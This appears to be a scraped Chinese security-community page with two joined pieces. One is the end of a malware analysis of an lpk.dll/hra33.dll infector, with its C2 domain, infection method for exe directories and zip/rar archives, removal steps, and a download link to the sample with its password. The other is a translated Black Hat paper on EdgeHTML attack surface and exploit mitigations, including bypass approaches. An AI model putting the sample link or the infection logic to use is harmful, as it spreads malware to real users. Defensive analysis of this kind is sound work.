在OD载入后动态执行时结果被解密出来。
图33 OD反汇编代码-连接域名www.520520520.org:9426
Hra33.dll功能是通过加载lpk.dll对其他exe和压缩包进行感染。代码片段如下：
图34 hra33.dll入口点函数
遍历文件目录，如果找到.exe的目录就把lpk.dll放到该目录下。代码片段如下：
图35 感染函数
感染zip/rar的方式主要还是利用winrar.rar的rar.exe（命令行工具），首先搜索压缩包内有没有lpk.dll这个文件，然后如果有.exe，就将压缩包重新解压添加lpk.dll文件再压缩。代码片段如下：
图36 感染压缩文件
3．解决方案
3.1 提取病毒的特征，利用杀毒软件查杀
Ghijkl Nopqrstu Wxy 对应hex 4768696A6B6C204E6F70717273747520577879
提取特征码的方式
1、利用哈希值作为病毒特征
2、选取病毒内部的特征字符串
3、选取病毒内部的特色代码
4、双重校验和
3.2 手工查杀步骤或是工具查杀步骤或是查杀思路等。
1、停止【Ghijkl Nopqrstu Wxy】名称的服务
2、删除【Ghijkl Nopqrstu Wxy】键项的注册表
3、删除【C:\windows\system32\hra33.dll】文件
4、清空除了C:\Windows\System32\lpk.dll外，所有zip、rar、exe下的lpk.dll文件
黑客交流通常用IDA就够了。。这是IDA的分析文件和OD注释文件，还有提取出来的hra33.dll
链接: <http://pan.baidu.com/s/1bps2sn9> 密码: gipa
压缩包解压密码为：52pojie
同时这也是我在52pojie拿到的第一篇精华帖。 | 社区文章 |
Mark Vincent Yason（IBM X-Force Advanced Research） **译：xd0ol1（知道创宇404实验室）**
原文链接：<https://www.blackhat.com/docs/us-15/materials/us-15-Yason-Understanding-The-Attack-Surface-And-Attack-Resilience-Of-Project-Spartans-New-EdgeHTML-Rendering-Engine-wp.pdf>
### 目录
* 0 摘要
* 1 引言
* 2 概述
* 2.1 攻击面及其防护简介
* 2.2 初窥：EdgeHTML和MSHTML的比对
* 3 漏洞利用攻击面
* 3.1 标记/样式的解析
* 3.2 图像的解码
* 3.3 音频/视频的解码
* 3.4 字体渲染
* 3.5 DOM API
* 3.6 FLASH和PDF渲染器
* 3.7 分析与总结：漏洞利用攻击面
* 4 漏洞利用防护措施
* 4.1 64位、ASLR、DEP和APPCONTAINER保护
* 4.2 栈缓冲区安全检查(/GS)
* 4.3 执行流保护(CFG)
* 4.4 虚表保护(VTGUARD)
* 4.5 内存垃圾回收(MEMGC)
* 4.6 分析与总结：漏洞利用防护措施
* 5 结论
### 0 摘要
EdgeHTML是Windows 10中引入的下一代网页浏览器（代号Spartan）所用的新渲染引擎，因其使用广泛 -涵盖移动端到PC端，故理解它的攻击面和相应防护措施是很重要的。
在本文中，我们将讨论EdgeHTML的攻击面并对各攻击维度进行枚举，同时，我们还会阐述一种用于比较EdgeHTML和MSHTML的方法，以此了解fork过程中所发生的变化，当然更为重要的是发掘可能被攻击的新特性和新增内部函数。最后，我们将讨论相关的漏洞利用防护措施，即它们是如何防御特定类型漏洞的，此外，还会讨论那些目前仍然适用的绕过技术。
### 1 引言
EdgeHTML[1, 2]是微软Edge浏览器（早前代号为Project Spartan）中新引入的渲染引擎，它是目前Internet
Explorer中在用的Trident（MSHTML）渲染引擎的一个fork，主要为了支持现有的Web标准以及删除其中陈旧的代码。
据估计[3]fork过程中大约有超过22万行代码被删除，并重新添加了大约30万行代码用于程序互操作的修缮与新功能的实现。站在安全研究的角度看，理解这些变化所带来的影响，换言之渲染引擎在攻击面上的变化，是既有趣而又重要的
- 新的攻击维度是什么？攻击者先前使用的一些方式还有效吗？另一个需要重点理解的方面是新渲染引擎应对攻击时的防护措施 -漏洞利用的保护策略是否有变化？默认设置下与MSHTML相比攻击者进行利用的难度有多大？回答这些基本问题正是本文的目的所在。
接下去的内容分为三大块。第一部分（概述）将简要介绍漏洞利用的攻击面和防护措施，后面还会再进行深入的探讨，其中给出的“EdgeHTML攻击面及其防护”示意图可作为本文余下篇幅的参考，此外，这部分还讨论了我在早前研究过程中用于比对EdgeHTML和MSHTML的方法。第二部分（漏洞利用攻击面）我们将深入分析组成EdgeHTML攻击面的那些不同攻击维度，并指出从MSHTML到EdgeHTML后重要攻击维度的变化情况。而在最后一部分（漏洞利用防护措施）我们将讨论不同的保护策略，它们都有助于增大EdgeHTML引擎上进行漏洞利用的难度和代价。
另外，本文的分析是基于64位Windows 10 build
10240系统中的Edge浏览器展开的（edgehtml.dll版本号为11.0.10240.16384）。
### 2 概述
在深入解读EdgeHTML引擎的攻击面与防护措施相关细节前，本节先来做个简要的介绍，同时本节还将讨论EdgeHTML和MSHTML的比较方法，这能帮助我们找出代码中的主要变化。
#### 2.1 攻击面及其防护简介
EdgeHTML引擎模块（%System32%\edgehtml.dll）负责解析和渲染网页中各种潜在的恶意内容，它属于Edge浏览器的内容处理单元（MicrosoftEdgeCP.exe），该单元是一个64位的AppContainer沙箱进程。
这里的攻击面图示给出了EdgeHTML引擎所接受的不同输入类型以及负责处理它们的各EdgeHTML类，注意这些类只是相应解析或处理过程的初始入口，其中一些可能还需要借助额外的EdgeHTML类。此外，图示还列出了EdgeHTML类用于处理输入时所依赖的函数库。
对于HTML，EdgeHTML会使用内部的解析器来处理标记，而对基于XML的标记（XHTML，SVG，XML），引擎会额外使用XmlLite进行解析，且如果标记中有引用XSL样式表，那么引擎会首先通过MSXML6对XML进行转换，然后才将输出内容交给标记处理单元，至于CSS的解析同样也由内部解析器处理。对于图像的解码，EdgeHTML主要依赖于Windows
Imaging Component (WIC)，而对于音频/视频内容的解码，EdgeHTML则主要依赖Media Foundation
(MF)，同时，用于音频/视频字幕的计时文本轨道文件是由EdgeHTML的内部解析器负责处理的，当然这其中还需要借助XmlLite。而字体渲染则会通过DirectWrite进行处理。另外，由标记标签的解析或经由动态创建所生成的DOM对象会通过DOM
API暴露出来，其中一些DOM对象可能需要依赖相应函数库来实现它们的功能。此外，EdgeHTML引擎在默认情况下还可实例化内置或预安装的渲染器 -例如，用于处理PDF内容的WinRT PDF渲染器，以及用于处理Flash内容的Adobe Flash Player程序。
EdgeHTML渲染引擎所处的64位内容处理进程中用到了多种漏洞利用的防护措施，其中就包括了ASLR保护（高熵且强制启用ASLR）、DEP保护和AppContainer进程隔离保护。并且EdgeHTML及其依赖在编译时均采用了栈缓冲区安全检查保护技术（/GS）和最新引入的执行流保护技术（CFG）。此外，例如虚表保护（VTGuard）以及新的内存垃圾回收机制（MemGC）等额外措施也被专门用于EdgeHTML的防护。
#### 2.2 初窥：EdgeHTML和MSHTML的比对
当我一开始对EdgeHTML进行研究的时候就很想知道从MSHTML到EdgeHTML的fork过程中代码的主要变化是什么。由于类和命名空间能够表征一组相关的代码，而这些代码又反过来对应着程序的某一特性，因此，我尝试的方法是借助IDAPython枚举函数或变量名，然后提取其中的命名空间部分，接着去除那些重复项并对得到的结果进行排序，最后，通过diff工具对得到的MSHTML和EdgeHTML命名空间列表进行比较：
来看一个比对结果的例子，如下EdgeHTML中的删除类表明了引擎在WMF和EMF图像格式支持上的变化（详见3.3小节）：
-CImgTaskEmf
-CImgTaskWmf
而从另一比对结果的例子可看出CFastDOM下又新增了命名空间，即通过DOM API导出了新的DOM对象类型（详见3.5小节）：
+CFastDOM::{…more…}
+CFastDOM::CXPathEvaluator
+CFastDOM::CXPathExpression
+CFastDOM::CXPathNSResolver
+CFastDOM::CXPathResult
+CFastDOM::CXSLTProcessor
最后，再看一个有意思的比对结果，如下表明其中的一些代码是从Blink渲染引擎[4,5]（Blink是从WebKit的WebCore部分fork来的，大部分的命名空间已从“WebCore”重命名为“blink”）移植过来的：
+blink::WebThread
+WebCore::AnalyserNode
+WebCore::AudioArray<float>
+WebCore::AudioBasicInspectorNode
+WebCore::Audio{…more…}
进一步分析可知这部分移植代码主要用于EdgeHTML引擎中对Web音频的支持。
另外，除了用于比较命名空间，这个基本的方法还可用于函数名、类方法名（以识别新的或移除的类功能）、字符串（可给出新功能的描述 -例如：日志字符串）、导入表（以识别新的依赖库、用到的特定API）和导出表的比对。
使用此方法时需要留意命名空间被重命名的情况，这会导致比对结果中命名空间的添加及删除，因此需要做进一步的验证，该方法还要求相关的符号文件是可用的。此外，二进制的比对[7]则是识别两个二进制文件间差异的另一选择。
### 3 漏洞利用攻击面
在本节，我们将列举EdgeHTML引擎所处理的不同输入以及与此相关的代码接口。需要注意的是给出的EdgeHTML类仅是解析或处理时的初始入口点，其中一些可能还依赖额外的类来进行处理，获取这些类的目的在于当我们需要了解引擎是如何处理特定的输入类型时可借助它们来设置断点。例如，若要了解基于XML的标记其预解析时的工作原理，则可通过以下方式设置CXmlPre类中的断点：
(WinDbg)> bm edgehtml!CXmlPre::*
此外，如果引擎依赖其它函数库来处理特定的输入类型，那么此函数库和用到的特定接口也会被列出来。
#### 3.1 标记/样式的解析
渲染引擎的主要任务之一是处理标记和样式，对于HTML和CSS，EdgeHTML引擎依靠其内部类进行解析，而对基于XML的标记，引擎则借助XmlLite
[8]和MSXML6 [9]进行解析：
EdgeHTML分两个阶段来处理标记，从CHtmPre::Exec()或CXmlPre::Exec()开始的预解析阶段涉及到标记的初始解析、将解析的标签写入标签流以及开始下载引用资源（如果可用
- 比如图像和CSS文件），从CHtmPost::Exec()开始的后解析阶段则从标签流中获取标签，如果需要可对标签执行进一步解析，并最终创建DOM对象。
而通过调用xmllite!CreateXmlReader()函数实例化的IXmlReader接口会被CXmlPre作为解析器用于预解析基于XML的标记，同时，当检测到XML文件中有引用XSL样式表时，此接口也会被CBaseXSLTFilter用作XML解析。另外，MSXML6的IXMLDOMDocument接口会被CBaseXSLTFilter用于转换引用了XSL样式表的XML文件。
引擎中一个重要的变化是对于二进制行为的支持[10]，包括删除内置的VML。基于VML的（VGX.DLL）漏洞[11]是很严重的，因其虽然过时，但在IE11/MSHTML下仍然可以默认使用。
预计随着时间的推移，渲染引擎对标记/样式的处理，特别是CSS和HTML的解析会有所更新，因为届时将会有新的Web标准需要新的HTML标签、HTML属性、CSS属性等来支持。与此相关的一个较有名0day例子是MSHTML
CSS递归导入漏洞[12]。
#### 3.2 图像的解码
图像渲染是EdgeHTML引擎的另一基本任务，其中图像文件可通过链接或以HTML标签（如`<img>`和`<embed>`标签）的方式传给引擎。
我们可以通过查看g_rgMimeInfoImg数组来枚举所支持的图像格式，此数组包含指定图像MIME类型的MIMEINFO项以及用于实例化相关图像处理接口的函数。
如下是EdgeHTML支持的图像格式，从Library列可以看出所有的图像都是通过Windows Imaging Component
(WIC)[13]进行处理的（SVG格式则通过3.1小节中描述的标记来处理）：
对于图像的处理，EdgeHTML首先通过CWicGlobals::GetWicImagingFactory()函数实例化WIC的IWICImagingFactory接口，接着再调用IWICImagingFactory::CreateDecoder()函数来为特定的图像格式实例化一个IWICBitmapDecoder接口。
一个有意思的变化是EdgeHTML中对WMF和EMF图像格式的支持被删除了，意味着先前借助GDI库来解析远程WMF和EMF文件的依赖也被移除了，与此相关的远程利用漏洞已经是屡见不鲜了[14,15,16]。
#### 3.3 音频/视频的解码
通过链接或HTML的`<audio>`和`<video>`标签，我们可将任意音频/视频内容交由渲染引擎处理，所支持的音频/视频格式的Mime信息可在`g_rgMimeInfoAudio`和`g_rgMimeInfoVideo`数组中得到。此外，正如下表所示，EdgeHTML中用于处理音频/视频内容的依赖库是Media
Foundation（MF）[17]：
EdgeHTML引擎会借助MFCreateMediaEngine()函数来实例化MF的IMFMediaEngine接口，以此设定媒体源并对播放进行控制。
除了音频/视频文件外，EdgeHTML引擎还会处理计时文本轨道[18]，我们可通过HTML的`<track>`标签来指定，引擎中支持的两种文本轨道文件格式如下：
其中，TTML是基于XML的，处理它的EdgeHTML类会借助XmlLite的IXmlReader接口进行解析。
#### 3.4 字体渲染
任意字体都可通过CSS @font-face
规则传给EdgeHTML渲染引擎[19]。而对于字体解析漏洞[20]，特别的，如果能通过浏览器渲染引擎触发的话，那么就可能造成远程利用 -CVE-2011-3402
[21,22]就是这样一个例子，它为GDI中的字体解析漏洞（位于Win32k.sys模块），此漏洞最初被用于0day攻击，后来被集成到浏览器的漏洞利用套件中。
EdgeHTML引擎使用DirectWrite [23]来渲染字体且支持的格式如下：
所需DirectWrite接口的实例化是由CDXResourceDomain::EnsureDXFactories()函数完成的，且引擎会通过CDXEmbeddedFontFace::Initialize()函数检测实际的字体格式，并通过IDWriteFactory::CreateCustomFontFileReference()调用在CDXPrivateFont::Initialize()函数中执行自定义字体的注册。
与GDI不同，DirectWrite（DWrite.dll）由其所在的用户态进程来解析字体文件。另外，EdgeHTML引擎中一个显著的变化是EOT字体格式的支持被删除了，这意味着解析EOT字体的T2EMBED
[24]和GDI依赖也被删除了，因此用于解析字体的函数库就相应减少了。
#### 3.5 DOM API
DOM (Document Object Model) API
[25]是渲染引擎中最大的攻击面之一。当解析HTML文档时，渲染引擎会实例化那些用于表示HTML标签的DOM对象，同时引擎还将创建诸如document这样的核心对象，且新的DOM对象还可通过JavaScript代码来动态实例化，我们这里讨论的DOM
API则提供了一种操作这些对象的方法。
当DOM对象的属性被更改或其方法经由脚本被调用时，渲染引擎中会执行相应的代码：
因DOM
API调用而执行的渲染引擎代码可改变DOM树、DOM对象和渲染引擎内部对象，其中，非可预期的输入、非可预期的状态改变以及错误的内部状态都可能导致产生诸如释放后重用[26]（例子如下）、堆溢出[27]、无效指针访问[28]等内存错误漏洞。
借助2.2小结所述的比对方法，我们可在CFastDOM命名空间下找到EdgeHTML引擎中那些新增的DOM对象类型：
+CFastDOM::CAnalyserNode
+CFastDOM::CAriaRequestEvent
+CFastDOM::CAudioBuffer
+CFastDOM::CAudioBufferSourceNode
+CFastDOM::CAudioContext
+CFastDOM::CAudioDestinationNode
+CFastDOM::CAudioListener
+CFastDOM::CAudioNode
+CFastDOM::CAudioParam
+CFastDOM::CAudioProcessingEvent
+CFastDOM::CBiquadFilterNode
+CFastDOM::CClipboardEvent
+CFastDOM::CCommandEvent
+CFastDOM::CConvolverNode
+CFastDOM::CCryptoKey
+CFastDOM::CCryptoKeyPair
+CFastDOM::CCSS
+CFastDOM::CCSSConditionRule
+CFastDOM::CCSSGroupingRule
+CFastDOM::CDataCue
+CFastDOM::CDataTransferItem
+CFastDOM::CDataTransferItemList
+CFastDOM::CDeferredPermissionRequest
+CFastDOM::CDelayNode
+CFastDOM::CDynamicsCompressorNode
+CFastDOM::CEventTarget
+CFastDOM::CGainNode
+CFastDOM::CGamepad
+CFastDOM::CGamepadButton
+CFastDOM::CGamepadEvent
+CFastDOM::CHashChangeEvent
+CFastDOM::CIsolatedGlobalScope
+CFastDOM::CMediaDeviceInfo
+CFastDOM::CMediaDevices
+CFastDOM::CMediaStream
+CFastDOM::CMediaStreamError
+CFastDOM::CMediaStreamErrorEvent
+CFastDOM::CMediaStreamTrack
+CFastDOM::CMediaStreamTrackEvent
+CFastDOM::CMSAppAsyncOperation
+CFastDOM::CMSHeaderFooter
+CFastDOM::CMSPrintManagerTemplatePrinter
+CFastDOM::CMSTemplatePrinter
+CFastDOM::CMSWebViewSettings
+CFastDOM::CNavigationEventWithReferrer
+CFastDOM::COfflineAudioCompletionEvent
+CFastDOM::COfflineAudioContext
+CFastDOM::COscillatorNode
+CFastDOM::COverflowEvent
+CFastDOM::CPannerNode
+CFastDOM::CPermissionRequest
+CFastDOM::CPermissionRequestedEvent
+CFastDOM::CRTCDtlsTransport
+CFastDOM::CRTCDtlsTransportStateChangedEvent
+CFastDOM::CRTCDtmfSender
+CFastDOM::CRTCDTMFToneChangeEvent
+CFastDOM::CRTCIceCandidatePairChangedEvent
+CFastDOM::CRTCIceGatherer
+CFastDOM::CRTCIceGathererEvent
+CFastDOM::CRTCIceTransport
+CFastDOM::CRTCIceTransportStateChangedEvent
+CFastDOM::CRTCRtpListener
+CFastDOM::CRTCRtpReceiver
+CFastDOM::CRTCRtpSender
+CFastDOM::CRTCRtpUnhandledEvent
+CFastDOM::CRTCSrtpSdesTransport
+CFastDOM::CRTCSsrcConflictEvent
+CFastDOM::CScriptProcessorNode
+CFastDOM::CServiceUIFrameContext
+CFastDOM::CStereoPannerNode
+CFastDOM::CSVGForeignObjectElement
+CFastDOM::CVideoTrack
+CFastDOM::CVideoTrackList
+CFastDOM::CWaveShaperNode
+CFastDOM::CXMLHttpRequestUpload
+CFastDOM::CXPathEvaluator
+CFastDOM::CXPathExpression
+CFastDOM::CXPathNSResolver
+CFastDOM::CXPathResult
+CFastDOM::CXSLTProcessor
这些新增DOM对象类型表示EdgeHTML中新引入了的代码或代码路径，它们可通过DOM API来访问。
就枚举DOM对象的属性和方法而言，我们可以借助JavaScript的for...in语句。下述例子用到了新的XSLTProcessor DOM对象类型：
而通过比较DOM对象属性的枚举结果，我们可以得出那些已存在的DOM对象类型其属性的变化情况。以下是document对象的属性比对片段，至于新增DOM对象类型也是相似的：
[…]
+document.evaluate
document.execCommand
document.execCommandShowHelp
+document.exitFullscreen
document.fgColor
-document.fileCreatedDate
[…]
此外，我们还可通过IDA中名称窗口的查询来确认DOM对象的属性和方法：
通过跟踪名称窗口中列出的其中一个函数，我们最终可以找到表示DOM对象类型的实际EdgeHTML类：
伴随着新的特性被添加到Edge浏览器中[29]，相对应的可能会引入新的DOM对象类型，或者将新的属性/方法添加到已存在的DOM对象中，以此将这些新功能提供给开发人员。这些新的DOM对象类型、属性和方法反过来也会成为新的被攻击代码，从而增大了渲染引擎的攻击面。
#### 3.6 FLASH和PDF渲染器
虽然从技术层面上讲它们并不属于渲染引擎的一部分且它们自身各有一组复杂的解析及渲染操作，但Windows的内置PDF渲染器[30]（自Windows
8.1以来）和预安装的Adobe Flash Player（自Windows
8以来）仍可被认为是EdgeHTML引擎用于渲染各种文件格式的众多依赖之一，它们都是预安装的[3]，且默认情况下均可被EdgeHTML渲染引擎实例化：
其中，PDF渲染器是由CPDFHelper::LoadPdfDoc()函数实例化的，而Flash渲染器的实例化则是从CCodeLoad::BindToObject()函数开始的。
从攻击者的角度看，能额外借助复杂的渲染器必然会有下述优势：(1)这些复杂的渲染器都有一组可被利用的攻击面及对应漏洞；(2)它们的某些特性可被用来绕过漏洞的利用防护
- 一个例子是利用Flash的JIT生成代码绕过CFG保护 [31]，另一个例子是0day利用中借助Flash
Vector对象的corruption技术[32]绕过ASLR保护，此例由IE渲染引擎漏洞来实现内存Flash
Vector对象的corruption[33]。虽然对通过Flash的JIT绕过CFG保护以及借助Flash的Vector对象绕过ASLR保护已有相关的防护措施（见4.3小节和[34]），但这两个例子很好的阐述了如何借助程序的功能来实现利用。
#### 3.7 分析与总结：漏洞利用攻击面
在图像和字体渲染方面，EdgeHTML引擎的攻击面是在减少的，因为它不再支持EMF和WMF格式的图像以及EOT字体，处理这些格式的依赖库代码（GDI和T2EMBED）中含有远程利用漏洞也是小有历史了。此外，删除VML的支持（二进制行为）也有助于进一步减少EdgeHTML引擎的攻击面。
然而，同其它现代浏览器一样，这之中又引入了新的特性，而这些新功能则通过新的DOM对象类型/属性/方法以及新的标记/样式规范来实现。就EdgeHTML引擎而言，我们在DOM
API中发现了新的攻击维度，包括新的DOM对象类型以及已有DOM对象类型中新添加的属性和方法。
此外，下述依赖库在EdgeHTML引擎中是有用到的：
* 用于XML解析的XmlLite
* 用于XML转换的MSXML6
* 用于图像解码的WIC(Windows Imaging Component)
* 用于音频/视频解码的MF(Media Foundation)
* 用于字体渲染的DirectWrite
* 用于PDF渲染的内置WinRT PDF渲染器
* 用于Flash渲染的预安装Adobe Flash Player程序
通过分析这些库的使用，我们进一步认识到了它们的重要性，毕竟我们现在对渲染引擎如何使用它们以及攻击者如何能通过恶意输入来远程访问这些代码有了更多的理解。
### 4 漏洞利用防护措施
既然我们对引擎的攻击面已经有了解了，那下面就来看看攻击者为了成功在EdgeHTML或其任何依赖中实现利用都需要绕过哪些漏洞利用防护，此外，我们还会讨论和提及那些由安全人员发现的已知防护措施绕过方法或防护中的薄弱点。
本节对EdgeHTML模块所在的内容处理单元中涉及的缓解方案仅作简要介绍，而把详细的讨论放在EdgeHTML引擎及其依赖的利用防护上。至于Windows堆相关的防护已经在各种论文或报告[35,36,37,38,39,40]中有详细讨论，这里就不再赘述了。
#### 4.1 64位、ASLR、DEP和APPCONTAINER保护
在Win10
64位系统中，EdgeHTML渲染引擎模块（`%System32%\edgehtml.dll`）所在的内容处理单元（MicrosoftEdgeCP.exe）默认运行在64位，且启用了ASLR保护（HEASLR，ForceASLR）和DEP保护，并通过AppContainer来实现沙箱功能：
Edge内容处理单元的防护措施与Windows 8中Immersive版的IE相同，但与Windows 10，Windows
8（Desktop版的IE）和Windows 7上的IE11不同。
下表给出了不同Windows版本上Edge和IE内容处理单元所默认用到的保护措施：
其中，64位技术有助于缓解传统的堆喷利用，该利用会将攻击者可控的数据在堆上进行喷射，从而把数据布局到特定的地址处。当然，根据漏洞的不同，“相对堆喷”[28,41]也是可能的，例如漏洞包含一个有效堆指针，但指针在计算时被加上了一个攻击者可控的或错误的数值。
同时，内容处理单元中还启用了高熵ASLR保护（HEASLR）以及强制ASLR保护（ForceASLR）[42,43]，其中，HEASLR保护给可重定位的内存区域增加了额外的信息熵，而ForceASLR保护能够避免将不支持ASLR保护的DLL模块加载到固定的内存地址。在启用ForceASLR保护的进程中，绕过ASLR保护一般需要利用那些可预测内存地址的对象指针或使用漏洞来实现内存信息泄露，由于微软目前正积极地解决前者[44,42]，因此越来越多的攻击将会依靠漏洞进行信息泄露[45,32]。
此外，AppContainer则是Windows
8中新引入的进程隔离机制，它被用在IE的增强型保护模式[46]沙箱中，可限制进程的读/写访问权限和相关功能。目前，有几种方法能够绕过AppContainer沙箱保护（以及其它沙箱保护），这些方法包括了利用内核漏洞[47,48]、利用中级或更高权限进程中的漏洞[46,49,50]以及利用可写资源[49]。
#### 4.2 栈缓冲区安全检查(/GS)
基于栈的缓冲区溢出通常被用于控制程序的执行流程，为了检测此类利用，EdgeHTML引擎及其依赖均采用缓冲区安全检查(/GS)
[51]选项进行编译。该检测机制会在保存局部变量的缓冲区后面设置一个安全cookie，然后在函数返回前检查此安全cookie，以确保返回地址和保存的寄存器没有被缓冲区溢出所覆盖。另外，该机制还对数据进行了备份，相关参数和局部变量的副本被存储在缓冲区之前，以防止它们在缓冲区溢出的情况下被破坏：
该缓解措施已在各种论文[52,53]中进行了深入讨论，并且相关机制还在不断地更新[42]，以期提高防护的覆盖面。当然，此机制的一个局限是它并未考虑攻击者能够控制特定位置写入数据的情况[54,20]（例如可控的缓冲区索引/指针），这允许攻击者直接越过安全cookie进行写入。
#### 4.3 执行流保护(CFG)
EdgeHTML引擎及其依赖中引入了新的漏洞利用防护措施，即CFG保护(Control Flow
Guard)[55,56]。当启用CFG保护时，编译器将在程序中添加额外的检测代码，以确保间接调用的目的地址是有效的。此策略主要用于检测并阻止异常的执行流程，比如通过设置执行地址的方式将流程重定向到ROP链中。
此防护机制的内部原理已被深入研究过了，相关内容发表于各种论文/报告中[57,58]。针对CFG保护的绕过[31]，一种方法是借助Flash的JIT生成代码，因为它是动态解析的，固其内部的间接调用不会被CFG保护覆盖到。然而，这种绕过技术现在已通过Flash中额外引入的代码得到了防护，只要生成调用指令，那么相应的就会通过ntdll!LdrpValidateUserCallTarget()函数进行检查。此外，其它绕过CFG保护的思路还包括跳转到有效的API地址（如LoadLibrary）[41]、覆盖堆栈数据（如返回地址）[57,41]等。
#### 4.4 虚表保护(VTGUARD)
VTGuard(Virtual Table
Guard)[42]是EdgeHTML中的另一漏洞利用防护措施，但此机制并没有被应用到相关依赖中。VTGuard是在IE10中首次引入的，其目的在于检测虚函数表是否有效，主要针对通过内存中可控的C++对象来控制程序执行流的利用情形，它在虚函数表中添加了一个__vtguard随机值，执行虚函数调用前将对该值进行检查：
此防护的一个缺点是它仅适用于EdgeHTML中的类对象，并且如果能通过内存信息泄露获取__vtguard的地址，那么就可以简单地进行绕过。
#### 4.5 内存垃圾回收(MEMGC)
Memory GC（MemGC）[59]是在Win10的EdgeHTML和MSHTML渲染引擎中首次引入的，它衍生于早期的Memory Protector
[60, 61, 62]漏洞利用防护。
与Memory Protector一样，MemGC的目的是通过阻止内存块（chunk）的释放（如果还能找到相关的引用）来缓解UAF（use-after-free）漏洞[26]的利用。但是，与Memory
Protector只检查寄存器以及堆栈中的内存块（chunk）引用不同，MemGC还会扫描托管堆中的内容来查找引用，这种附加检查意味着它能进一步减少攻击者可利用的UAF漏洞。
**配置**
MemGC是默认启用的，在Edge和IE中都可通过“OverrideMemoryProtectionSetting”属性进行配置，相应的注册表项如下：
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main
OverrideMemoryProtectionSetting = %DwordValue%
其中，%DwordValue%可取下述任意值：
**MEMGC堆管理**
MemGC使用单独的托管堆（MemGC堆）进行对象空间的分配，且通过并发的垃圾回收机制执行标记和清除操作，以此识别和回收堆中未被引用的内存块（chunk），这个过程中MemGC会依赖Chakra（JavaScript引擎）的内存管理代码来实现大部分功能。
在用到的分配方案中，MemGC首先会通过VirtualAlloc()函数申请大量被称为Segment的内存空间，接着将这些Segment按4096字节划分为Page页面，而后再将其中的一组Page作为一个Block块，在此基础上按照相似大小原则进行对象空间的分配：
其中，EdgeHTML/MSHTML
DOM对象以及大量的渲染引擎内部对象都是由MemGC管理的，此外，由于MemGC中已经使用了单独的托管堆，所以如果它是启用的，那么将不会再用到隔离堆。
**分配**
在EdgeHTML引擎的MemGC实现中，当需要分配一个托管对象时，edgehtml!MemoryProtection::HeapAlloc<1>()或edgehtml!MemoryProtection::HeapAllocClear<1>()函数将被调用，并转而通过chakra!MemProtectHeapRootAlloc()函数进行处理。而chakra!MemProtectHeapRootAlloc()函数首先会寻找合适的bucket，然后从指向的Block中为其分配一个相应的chunk，最后将此chunk标识为root。在垃圾回收中，root标识表示该对象/chunk在程序中存在直接引用，因此不能被回收，同时，在搜索chunk引用时也会扫描这些标识为root的对象/chunk。
**释放**
当对象需要被释放时，引擎将会调用edgehtml!MemoryProtection::HeapFree()函数进行处理并转而执行chakra!MemProtectHeapUnrootAndZero()调用。对于chakra!MemProtectHeapUnrootAndZero()函数，它将定位此chunk所在的具体Block，并将chunk的内容清零，然后去除它的root标识。通过清除root标识，此chunk成了潜在的回收目标，如果回收器未找到关于此chunk的相关引用，那么它就会被回收。
**垃圾回收**
一旦未被root标识的chunk总大小达到特定阈值，那么就会由chakra!MemProtectHeap::Collect()函数触发垃圾回收机制。垃圾回收过程（因其复杂性，这里仅描述相关的核心功能）将通过标记和清除操作来回收那些未被引用的且未被root标识的chunk，其中的部分操作将在chakra!Memory::Recycler::StartConcurrent()函数下发的独立线程（chakra!Memory::Recycler::ThreadProc）中进行。
在标记阶段，首先会清空所有的chunk标记位，然后标记所有root标识的chunk（通过chakra!Memory::Recycler::BackgroundResetMarks()函数），接着扫描root标识的chunk（通过chakra!Memory::Recycler::ScanImplicitRoots()函数）、寄存器以及堆栈（通过chakra!MemProtectHeap::FindRoots()函数）来搜索chunk指针，并将找到的那些存在引用的chunk进行标记。最终，当标记阶段完成后，那些仍未被标记的chunk将可重新用于对象的分配。
在撰写本文时，所涉案例中尚无已知的有关MemGC和Memory
Protector的绕过手法，但与其它利用防护一样，将来可能也会出现相关的绕过技术。另一方面，目前公开的有借助Memory
Protector实现32位IE中ASLR保护绕过的技术，以及借助Memory
Protector实现的64位IE上用于近似分配过程中（包括堆分配）地址区间的时序攻击，当然，这里给出的例子并不是针对Memory
Protector的绕过。
#### 4.6 分析与总结：漏洞利用防护措施
默认配置下，与Windows 10、Windows 8（Desktop版的IE）以及Windows
7上运行的IE11内容处理单元相比，EdgeHTML引擎所在的内容处理单元中涉及的漏洞利用防护措施要更加全面 -它默认运行在64位，从而允许ASLR保护工作于HEASLR模式，这导致了传统的堆喷技术变得不再可行或非常不可靠，因此，为了实现可控数据的内存布局，攻击者必然要开发出更为精确的利用技术。
另一主要区别是，Egde中采用了约束性更强的AppContainer来实现沙箱的功能，这极大限制了引擎中利用程序的访问权限和相应功能，所以除非此漏洞还存在于特权进程或系统组件[20]中，否则就需要借助另外的漏洞进行AppContainer沙箱逃逸。
同时，栈缓冲区安全检查（/GS）能减少潜在的可利用堆栈漏洞，而要绕过执行流保护则需要借助于新的利用技术，并且同Memory
Protector一样，MemGC将会进一步减少引擎中可利用的UAF漏洞。
总体来说，依托于这些防护手段，攻击者要想在EdgeHTML引擎中发掘可利用的漏洞则需要更多的投入，若需开发可靠利用则尤甚。言虽此，但攻击者势必会不断寻找新的方法来绕过这些保护，可以预见的是防护措施也将随着时间的推移而逐渐演变。
### 5 结论
EdgeHTML渲染引擎（以及其它浏览器渲染引擎）的攻击面将不可避免地随着Web新标准的实行而不断增多，其中的大部分将会来自对新标记/样式的解析，最明显的莫过于那些经由DOM
API导出给开发人员（当然还有攻击者）的新功能。
另一方面，引擎中新增的攻击面会通过应用于内容处理单元、相关依赖库以及其自身模块中全面的利用防护来进行缓解，这些防护措施将使许多引擎漏洞变得不可利用或者开发利用程序的难度变得非常大。
此外，下述与EdgeHTML引擎相关的研究领域不仅重要且很有意思，涉及内容都是可被远程访问且广泛用到的库/特性：
* 引擎中所用Windows组件的原理研究、代码审计以及Fuzzing：XmlLite、MSXML6、Windows Imaging Component(WIC)、Media Foundation(MF)、DirectWrite和WinRT PDF Renderer。其中一些可能已经有公开成果了（比如DirectWrite [20]），但是还需要更多有关的研究，这样我们才能对此类关键组件的安全性有所了解。
* 内部实现（算法细节，数据结构等）、Heap Grooming、堆元数据攻击（如果可能）以及对MemGC绕过技术的研究。本文对MemGC进行了初步的探讨，此外，针对其内部原理的进一步分析、研究如何通过MemGC堆进行攻击利用以及研究如何绕过MemGC保护将有助于理解其防护中的薄弱点，从而实现对它的改进。
最后，衷心希望本文能对你理解EdgeHTML渲染引擎安全性方面的知识起到帮助:P
*注：参考文献的信息详见原文
* * * | 社区文章 |
## 前言
